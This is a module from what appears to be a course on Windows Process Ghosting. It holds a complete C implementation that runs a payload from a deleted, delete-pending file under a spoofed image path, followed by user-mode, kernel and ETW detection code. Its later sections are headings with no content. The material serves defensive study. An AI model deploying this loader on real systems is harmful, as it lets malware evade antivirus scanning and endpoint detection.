Module 8: Full Chain, Detection & Comparison

The complete Process Ghosting flow from end to end, detection strategies for defenders, and a final comparison with Doppelgänging and Herpaderping.

1. The Complete Process Ghosting Chain

Here is the entire technique from start to finish, combining all the modules into a single reference:

// ============================================
// COMPLETE PROCESS GHOSTING IMPLEMENTATION
// ============================================

#include <windows.h>
#include <winternl.h>

bool ProcessGhost(
    BYTE* payloadPE, DWORD payloadSize,
    LPCWSTR ghostPath,     // temp file path
    LPCWSTR spoofedPath)   // what appears in PEB
{
    HANDLE hFile = NULL, hSection = NULL;
    HANDLE hProcess = NULL, hThread = NULL;
    IO_STATUS_BLOCK iosb = { 0 };
    OBJECT_ATTRIBUTES objAttr = { 0 };
    UNICODE_STRING ntPath;
    NTSTATUS status;

    // ==========================================
    // PHASE 1: Create the ghost file (Module 4)
    // ==========================================

    RtlInitUnicodeString(&ntPath, ghostPath);
    InitializeObjectAttributes(&objAttr, &ntPath,
        OBJ_CASE_INSENSITIVE, NULL, NULL);

    // Step 1a: Create empty file with exclusive access
    status = NtCreateFile(&hFile,
        GENERIC_READ | GENERIC_WRITE | DELETE | SYNCHRONIZE,
        &objAttr, &iosb, NULL,
        FILE_ATTRIBUTE_NORMAL,
        FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
        FILE_SUPERSEDE, // create or replace
        FILE_SYNCHRONOUS_IO_NONALERT,
        NULL, 0);
    if (!NT_SUCCESS(status)) return false;

    // Step 1b: Mark delete-pending BEFORE writing
    FILE_DISPOSITION_INFORMATION dispInfo = { TRUE };
    status = NtSetInformationFile(hFile, &iosb,
        &dispInfo, sizeof(dispInfo),
        FileDispositionInformation);
    if (!NT_SUCCESS(status)) {
        NtClose(hFile); return false;
    }

    // Step 1c: Write malicious PE to the condemned file
    LARGE_INTEGER offset = { 0 };
    status = NtWriteFile(hFile, NULL, NULL, NULL,
        &iosb, payloadPE, payloadSize,
        &offset, NULL);
    if (!NT_SUCCESS(status)) {
        NtClose(hFile); return false;
    }

    // ==========================================
    // PHASE 2: Create image section (Module 5)
    // ==========================================

    status = NtCreateSection(&hSection,
        SECTION_ALL_ACCESS, NULL, NULL,
        PAGE_READONLY, SEC_IMAGE, hFile);

    // Close file handle -> file deleted from disk
    NtClose(hFile);
    hFile = NULL;

    if (!NT_SUCCESS(status)) return false;
    // File is GONE. Section persists.

    // ==========================================
    // PHASE 3: Create process (Module 6)
    // ==========================================

    status = NtCreateProcessEx(&hProcess,
        PROCESS_ALL_ACCESS, NULL,
        NtCurrentProcess(), 0,
        hSection, NULL, NULL, FALSE);
    if (!NT_SUCCESS(status)) {
        NtClose(hSection); return false;
    }

    // ==========================================
    // PHASE 4: Setup process parameters
    // ==========================================

    // Get PEB address and entry point
    PROCESS_BASIC_INFORMATION pbi = { 0 };
    NtQueryInformationProcess(hProcess,
        ProcessBasicInformation,
        &pbi, sizeof(pbi), NULL);

    SECTION_IMAGE_INFORMATION imgInfo = { 0 };
    NtQuerySection(hSection,
        SectionImageInformation,
        &imgInfo, sizeof(imgInfo), NULL);

    // Create process parameters with spoofed path
    UNICODE_STRING uImgPath, uCmdLine, uCurDir, uDllPath;
    RtlInitUnicodeString(&uImgPath, spoofedPath);
    RtlInitUnicodeString(&uCmdLine, spoofedPath);
    RtlInitUnicodeString(&uCurDir,
        L"C:\\Windows\\System32");
    RtlInitUnicodeString(&uDllPath,
        L"C:\\Windows\\System32");

    PRTL_USER_PROCESS_PARAMETERS params = NULL;
    RtlCreateProcessParametersEx(¶ms,
        &uImgPath, &uDllPath, &uCurDir, &uCmdLine,
        NULL, NULL, NULL, NULL, NULL,
        RTL_USER_PROC_PARAMS_NORMALIZED);

    // Allocate and write params into target process
    PVOID remoteParams = params;
    SIZE_T paramSize = params->MaximumLength +
                       params->EnvironmentSize;
    NtAllocateVirtualMemory(hProcess, &remoteParams,
        0, ¶mSize,
        MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

    SIZE_T written;
    WriteProcessMemory(hProcess, remoteParams,
        params, paramSize, &written);

    // Update PEB->ProcessParameters
    WriteProcessMemory(hProcess,
        (PBYTE)pbi.PebBaseAddress +
            offsetof(PEB, ProcessParameters),
        &remoteParams, sizeof(PVOID), &written);

    RtlDestroyProcessParameters(params);

    // ==========================================
    // PHASE 5: Create thread - process starts
    // ==========================================

    status = NtCreateThreadEx(&hThread,
        THREAD_ALL_ACCESS, NULL, hProcess,
        (LPTHREAD_START_ROUTINE)imgInfo.TransferAddress,
        NULL, FALSE, 0, 0, 0, NULL);

    NtClose(hSection);
    if (!NT_SUCCESS(status)) {
        NtTerminateProcess(hProcess, status);
        NtClose(hProcess);
        return false;
    }

    // GHOST PROCESS IS RUNNING
    NtClose(hThread);
    NtClose(hProcess);
    return true;
}

2. Detection Strategy 1: NtQueryInformationProcess

The most direct detection method queries the process’s image file information and checks whether the backing file still exists:

// Detection: check if a process's image file exists
bool IsGhostedProcess(HANDLE hProcess)
{
    // Query ProcessImageFileName
    BYTE buffer[512];
    ULONG retLen = 0;
    NTSTATUS status = NtQueryInformationProcess(
        hProcess,
        ProcessImageFileName,  // returns NT path
        buffer, sizeof(buffer), &retLen);

    if (!NT_SUCCESS(status)) return false;

    PUNICODE_STRING imagePath =
        (PUNICODE_STRING)buffer;

    // Try to open the file
    HANDLE hFile;
    IO_STATUS_BLOCK iosb;
    OBJECT_ATTRIBUTES objAttr;
    InitializeObjectAttributes(&objAttr, imagePath,
        OBJ_CASE_INSENSITIVE, NULL, NULL);

    status = NtOpenFile(&hFile,
        FILE_READ_ATTRIBUTES | SYNCHRONIZE,
        &objAttr, &iosb,
        FILE_SHARE_READ | FILE_SHARE_WRITE |
            FILE_SHARE_DELETE,
        FILE_SYNCHRONOUS_IO_NONALERT);

    if (status == STATUS_OBJECT_NAME_NOT_FOUND ||
        status == STATUS_DELETE_PENDING) {
        // SUSPICIOUS: Process's image file doesn't exist
        // or is being deleted
        return true;
    }

    if (NT_SUCCESS(status)) {
        NtClose(hFile);
    }
    return false;
}

3. Detection Strategy 2: File Object State Inspection

From a kernel driver, the FILE_OBJECT associated with the process’s section can be inspected directly:

// Kernel-mode detection: inspect section FILE_OBJECT
// (conceptual - requires kernel driver)
NTSTATUS DetectGhostedProcess(PEPROCESS Process)
{
    PFILE_OBJECT fileObj = NULL;
    PSECTION_OBJECT section = NULL;

    // Get the process's image section
    section = PsReferenceProcessImageSection(Process);
    if (!section) return STATUS_UNSUCCESSFUL;

    // Get the file object from the section's control area
    fileObj = MmGetFileObjectForSection(section);
    if (!fileObj) {
        ObDereferenceObject(section);
        return STATUS_NOT_FOUND;  // no file object - suspicious
    }

    // Check the file object's delete disposition
    // FILE_OBJECT.DeletePending or check via
    // FsRtlIsFileDeletePending()
    if (fileObj->DeletePending) {
        // File is delete-pending - GHOSTING IN PROGRESS
        return STATUS_GHOSTING_DETECTED;
    }

    // Check if the file still has a valid name
    // in the filesystem
    POBJECT_NAME_INFORMATION nameInfo = NULL;
    NTSTATUS status = IoQueryFileDosDeviceName(
        fileObj, &nameInfo);
    if (!NT_SUCCESS(status)) {
        // Cannot resolve file name - file likely deleted
        return STATUS_GHOSTING_DETECTED;
    }

    ExFreePool(nameInfo);
    ObDereferenceObject(section);
    return STATUS_SUCCESS;
}

4. Detection Strategy 3: ETW Event Correlation

An ETW-based detection system can monitor for the specific sequence of operations that characterize Process Ghosting:

// Pseudo-code for ETW-based ghosting detection
struct GhostingCandidate {
    HANDLE fileHandle;
    DWORD threadId;
    ULONGLONG createTime;
    bool hasDisposition;
    bool hasWrite;
    bool hasSection;
};

void OnFileCreate(FileCreateEvent* evt) {
    if (evt->DesiredAccess & DELETE &&
        evt->CreateDisposition == FILE_SUPERSEDE) {
        // Potential ghosting: new file with DELETE access
        AddCandidate(evt->FileHandle, evt->ThreadId);
    }
}

void OnFileSetInfo(FileSetInfoEvent* evt) {
    auto candidate = FindCandidate(evt->FileHandle);
    if (candidate && evt->InfoClass == FileDispositionInformation) {
        candidate->hasDisposition = true;
    }
}

void OnSectionCreate(SectionCreateEvent* evt) {
    auto candidate = FindCandidate(evt->FileHandle);
    if (candidate && evt->Attributes & SEC_IMAGE) {
        candidate->hasSection = true;
    }
}

void OnProcessCreate(ProcessCreateEvent* evt) {
    // Correlate with section handle from candidates
    // If match found with all flags set -> ALERT
}

5. Detection Strategy 4: Behavioral Heuristics

6. Deep Comparison: Ghosting vs Doppelgänging vs Herpaderping

7. Limitations and Caveats

8. Summary: The Full Picture